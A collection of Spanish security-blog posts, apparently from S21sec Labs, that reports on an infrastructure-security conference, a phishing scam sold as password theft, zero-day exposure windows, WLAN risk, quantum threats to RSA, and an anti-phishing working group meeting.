Al congreso se presentaron 75 papers de los cuales 29 fueron seleccionados para ser presentados. La Universidad de Navarra y S21sec presentaron “Modeling and Simulating Information Security Management”, un artículo en el que se explica cómo modelar la seguridad de la información en cualquier empresa utilizando para ello la Dinámica de Sistemas.

El congreso se estructuró en 9 sesiones que fundamentalmente se centraron en los siguientes temas: Evaluación y gestión del riesgo, modelado y representación de estos sistemas y sus dependencias, intercambio y compartición de información, continuidad de servicios ante situaciones imprevistas/previstas, seguridad técnica en SCADAs y modelado de amenazas y ataques. Además de los ponentes que defendían sus artículos hubo cuatro charlas invitadas (Adrian Gheorghe – Old Dominion University, US; Paulo Veríssimo – Universidade de Lisboa, Portugal; Donald Dudenhoeffer – Idaho National Labs, US; Jacques Bus – European Commission, INFSO Unit “Security”) que dieron interesantes puntos de vista sobre la importancia de la seguridad y la gestión del riesgo en las infraestructuras críticas así como de las actuales iniciativas a nivel europeo en esta materia.

De entre los artículos más interesantes destacamos:

1. “Managing Critical Infrastructures through Virtual Network Communities” que básicamente propone una arquitectura virtualizada para compartir de manera segura una infraestructura tipo ICT (Information and Communication Technology) entre distintas comunidades de usuarios, cada una con sus propias aplicaciones y requisitos de seguridad. La particularización a las infraestructuras críticas implica la definición de tres comunidades que comparten la infraestructura: comunidad software, comunidad SCADA y una comunidad de base de datos.
2. “Securing Agents against Malicious Host in an Intrusion Detection System” propone aplicar el concepto de marca de agua al proceso de ejecución de un proceso de manera que se identifique un funcionamiento anormal del mismo.
3. “LoRDAS: A Low-Rate DoS Atack against Application Servers” que identifica una técnica que permite realizar ataques de DoS con requisitos de tasas de ataque muy inferiores a las tradicionales redes de zombies. Esta técnica combina técnicas estadísticas de teoría de colas con el conocimiento de mecanismos de timing característicos de los servidores
4. “Designing critical infrastructure cyber security segmentation architecture by balancing secuirty with reliability and availability” que propone cómo segmentar una infraestructura crítica para maximizar la seguridad y minimizar la pérdida de disponibilidad y fiabilidad.

Elyoenai Egozcue
S21sec Labs

"Comprando" contraseñas de correo, un ejemplo real.

Hoy día existen ciertas páginas que ofrecen servicios de robo de contraseñas de correo electrónico para todo tipo de cuentas conocidas (gmail, yahoo, hotmail...) mediante un módico precio de unos 200$.
Por supuesto, estas páginas tienen fondo negro, muchas calaveras, y la palabra hackers por todos lados, todo una señal de seriedad y confianza ;) Como no cabe esperar otra cosa, estas páginas utilizan el engaño para la obtención de contraseñas.

Pongamos que un sujeto A quiere obtener la contraseña del usuario B en una cuenta de gmail:

Una vez que A realiza el pedido de "hackeo" de contraseña en la web, los estafadores proceden a enviar un correo a B, haciéndole creer que debe verificiar la cuenta:

Por supuesto, el enlace hace referencia a una página que no es de gmail, pero a simple vista puede parecerlo:

Se puede ver que en la barra de direcciones ya no estamos sobre el dominio de google, y viendo el código fuente de la página podemos observar como accedemos a otro servidor, más que sospechoso:

http://XXX.XXX.XXX.XXX/~xxxxxx/gmail-google-com/XDJHBVWKSFH BWIYCBHJ/IllIlIIIllIlll8OEHF83Y4F//?slogin=xxxxxxxx@gmail.com& service=mail&sid=a-434bbce2f5-2f554ce0e3-28ba906a72-734dd7fd j34-234kdf83j2

Y más concretamente vemos que el formulario se envía a:

Finalmente, cabe decir que detrás de esto tan solo hay una cuenta registrada en un hosting gratuito con un script en php que envía la información al correo del "hacker", que se encargará de hacérsela llegar a A a cambio del dinero acordado.

¡Qué sencillo es engañar!

Como curiosidad, comentar que el proyecto del script que se utiliza en este caso (aFormMail) ha tenido que ser cerrado por el uso indebido del script. Una pena.

Mikel Gastesi
S21sec Labs

Ventana vulnerable

A estas alturas del año creo que todos nosotros tenemos ya asumido que una gran parte de los riesgos externos vienen a través de vulnerabilidades en el navegador o en aplicaciones que podemos llamar 'aplicaciones Desktop': Office, Outlook, lectores de PDF, lectores de RSS, WinZip, ...

Si habéis atendido a alguno de nuestros webminars sobre nuestro nuevo servicio WebMalware, habéis podido ver que aunque nos sintamos suficientemente seguros con nuestros antivirus, IDS, antispyware, etc, realmente siempre puede existir una ventana de tiempo vulnerable, en donde ninguna capa de seguridad que tenemos a nuestro alrededor sea capaz de detectar una amenaza en curso. Pongamos un caso concreto: entre los varios exploits disponibles en el ya famoso kit MPack, hay una en especial, que afecta a los cursores animados ANI, en donde el exploit ya estaba 'in the wild' tres días antes del parche proporcionado por Microsoft. ¿Qué significa este hecho? Pues que seguramente nuestros IDS no lo detecten, nuestros IPS no lo bloqueen y nuestro antivirus no sea capaz de identificarlo. Aquí es donde se encuentra el verdadero problema de este tipo de riesgos, que podemos equiparar a la aparición de un nuevo virus no conocido cuando empieza el Invierno: algunas personas no serán infectadas debido a alguna propiedad de su organismo (llamémoslo ASLR, GS, UAC o como queramos), pero la mayoría de estas personas seguramente sufrirán el virus (que esperemos que no sea con efectos devastadores).

Esa es la famosa ventana vulnerable que todos tememos, la ventana de tiempo entre que existe un exploit para una vulnerabilidad y el fabricante saca el parche (podéis ver algunos casos reales en la página de Eeye). O un caso más peligroso: 'Adobe confirms PDF backdoor'.

Existen algunas iniciativas para intentar disminuir el tiempo de exposición de estas vulnerabilidades, como puede ser el ZERT (Zeroday Emergency Response Team), que suelen sacar parches antes que los propios fabricantes, pero ojo, luego el fabricante no se responsabiliza si ese parche 'ilegal' provoca un mal funcionamiento en el sistema. ¿Quién se atreve a probarlo y perder el soporte y mantenimiento?

David Barroso

S21sec labs

WLAN

WLAN es como normalmente se denominan las redes Wireless LAN de transmisión de datos. De todos es sabido que su utilización es cada vez mayor y su uso está muy extendido, ¿quién no ha usado o tiene un ordenador portátil (Laptop) con red wifi integrada?, es algo ya en un estándar mínimo en las configuraciones de los equipos. Ahora bien, el despliegue masivos de estos dispositivos y la posibilidad de interceptación, por su propia naturaleza, que tienen las redes inalámbricas hace que atacar redes de este tipo sea cada vez más sencillo.

Recientemente se ha publicado una noticia en la que se han robado multitud de información crítica de una tienda on-line (tarjetas de crédito, etc..) debido a la deficiente seguridad que utilizaban para sus comunicaciones y negligencias en el tratamiento de los datos.

Reflexionando sobre el tema, no se pretende ser alarmista, una red inalámbrica debidamente configurada ofrece unos niveles de seguridad aceptables, pero sí concienciar de que cualquier punto de la red puede ser un posible punto de intrusión. Desde S21sec Labs se están dedicando esfuerzos para ofrecer herramientas que permitan a las empresas poder detectar y defenderse ante este tipo de ataques.

RSA en peligro, en un futuro no muy lejano

Dentro del mundo de la criptografía de clave pública, el algoritmo RSA es uno de los más extendidos, usado ampliamente en el mundo de la banca y del comercio electrónico, además de en otros muchos escenarios de comunicaciones y dispositivos varios. Como cualquier otro algoritmo de clave pública, su funcionamiento se basa en la posesión de una pareja de claves (pública y privada) por parte del emisor y del receptor. Esta pareja de claves son cadenas de datos con una relación matemática entre ellas, siendo la pública la difundida y la empleada en el cifrado de los mensajes, y la privada se guarda segura en cada uno de los extremos y es empleada en el descifrado de mensajes.

RSA basa su fuerza en el elevado tiempo de cómputo que supone hoy en día con la informática actual factorizar un número para descomponerlo en sus componentes (números primos) "p" y "q". Un atacante que no tenga la clave privada necesita averiguar dos números primos de una elevada cantidad de dígitos que, multiplicados, conforman la clave pública. Por ejemplo, para encontrar los factores primos de una clave pública de 10 dígitos, se necesita aproximadamente 100000 cálculos, y para un número de 50 dígitos se requieren 10 trillones de trillones de cálculos. El superordenador más potente que existe hoy en día, el IBM BlueGene, necesitaría tan sólo una fracción de segundo para calcularlo, pero necesita 100 años para factorizar un número de 50 dígitos. Además RSA, emplea números de una muy mayor cantidad de dígitos.

En 1994 el matemático Peter Shor, en los laboratorios de Bell Labs (Nueva Jersey) desarrolló sobre el papel un algoritmo cuántico que reduce drásticamente el tiempo empleado en estos cálculos. Debido al elevado número de factores que tiene una clave larga, el algoritmo de Shor necesita hacer mucho cálculos en paralelo (una de las principales virtudes que tiene la computación cuántica gracias a los bits cuánticos o "qbits" que transportan la información). La dificultad que se plantea ahora es construir un ordenador cuántico lo suficientemente grande como para llevar a cabo los cálculos en un intervalo de tiempo razonable.

La primera implementación práctica del algoritmo de Shor se logró en 2001 cuando un equipo liderado por IBM construyó un ordenador cuántico empleando una técnica de resonancia magnética nuclear (NMR) para ejecutar cálculos en moléculos de fluorocarbonato. Como los científicos esperaban, el ordenador factorizó el número 15 en 3 y 5, pero surgieron dudas sobre su credibilidad. Además, el problema de la NMR es que no escala bien.

Más adelante dos equipos de investigación en paralelo (en la Universidad de Brisbane en Australia y en la Universidad de Ciencia y Tecnología de China) pero independientemente han llevado a cabo un ordenador cuántico mediante láseres y opticas comunes en un laboratorio, factorizando también con éxito el ya probado número 15. Los medios ópticos son mucho más escalables que los basados en NMR, y adaptar la tecnología para la factorización de números mucho mayores queda en mayor o menor medida relegado a una labor de ingeniería. De momento, estos ordenadores no son lo suficientemente potentes como para suponer una amenaza para RSA, sin embargo en un futuro no muy lejano, esta meta será alcanzable. Esperemos que para entonces ya esten extendidos algoritmos cuánticos de criptografía.

Desde la reunión del APWG

Hoy ha empezado la reunión anual del Antiphishing Working Group (APWG), que esta vez tiene lugar en Pittsburgh (Pennsylvania), muy cerca de la Universidad de Carnegie Mellon, donde se encuentra uno de los principales CERT mundiales. 

Durante esta reunión, que durará varios días, se comentan tanto las estadísticas de los casos relacionados con el fraude online, como se presentan diversos proyectos que tienen como objetivo la mitigación de los mismos.

Aún cuando la mayoría de los asistentes son de EEUU (tanto fuerzas del orden como bancos o empresas relacionadas), cada vez se ve más gente de otros continentes, sobre todo de Europa o Asia, lo que permite tener una visión más global del problema del fraude online gracias a aportaciones, por ejemplo, de compañeros provenientes de Japón, Brasil, Australia, Gran Bretaña, España u Holanda (entre otros). 

Por lo que estamos viendo, la realidad de los otros países es parecida a la que S21sec está viendo tanto en España como en otros países, y todos coinciden que es fundamental una estrecha relación entre las tres partes integrantes de lo que denomino, 'la tupla del fraude': fuerzas del orden, entidades financieras, y empresas tecnológicas/CERTs.

También está claro que España es uno de los países más atacados respecto al fraude online, y aunque tenemos una visión bastante completa y global de todos los actores involucrados en este escenario, esperamos obtener alguna pieza más del puzzle en Pittsburgh.